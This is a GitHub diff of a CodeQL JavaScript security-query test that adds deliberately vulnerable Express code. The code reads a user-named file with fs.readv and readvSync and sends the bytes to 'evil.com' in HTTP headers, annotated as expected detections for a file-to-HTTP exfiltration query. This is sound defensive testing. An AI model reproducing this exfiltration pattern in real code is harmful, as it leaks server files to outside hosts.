File tree Expand file tree Collapse file tree
javascript/ql/test/query-tests/Security/CWE-200 Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -26,3 +26,26 @@ const fsp = require("fs").promises;
2626 console . error ( "Error reading file:" , error ) ;
2727 }
2828} ) ( ) ;
29+
30+ app . post ( '/readv' , async ( req , res ) => {
31+ const { filename } = req . body ;
32+ const fd = await fs . open ( filename , 'r' ) ;
33+ const buffer = Buffer . alloc ( 1024 ) ;
34+ const { bytesRead } = await fs . readv ( fd , [ buffer ] ) ; // $ MISSING: Source[js/file-access-to-http]
35+ https . get ( {
36+ hostname : "evil.com" ,
37+ path : "/upload" ,
38+ method : "GET" ,
39+ headers : { Referer : bytesRead }
40+ } , ( ) => { } ) ; // $ MISSING: Alert[js/file-access-to-http]
41+
42+ const buffer2 = Buffer . alloc ( 1024 ) ;
43+ const { bytesRead2 } = fs . readvSync ( fd , [ buffer2 ] ) ; // $ MISSING: Source[js/file-access-to-http]
44+ https . get ( {
45+ hostname : "evil.com" ,
46+ path : "/upload" ,
47+ method : "GET" ,
48+ headers : { Referer : bytesRead2 }
49+ } , ( ) => { } ) ; // $ MISSING: Alert[js/file-access-to-http]
50+
51+ } ) ;
You can’t perform that action at this time.
0 commit comments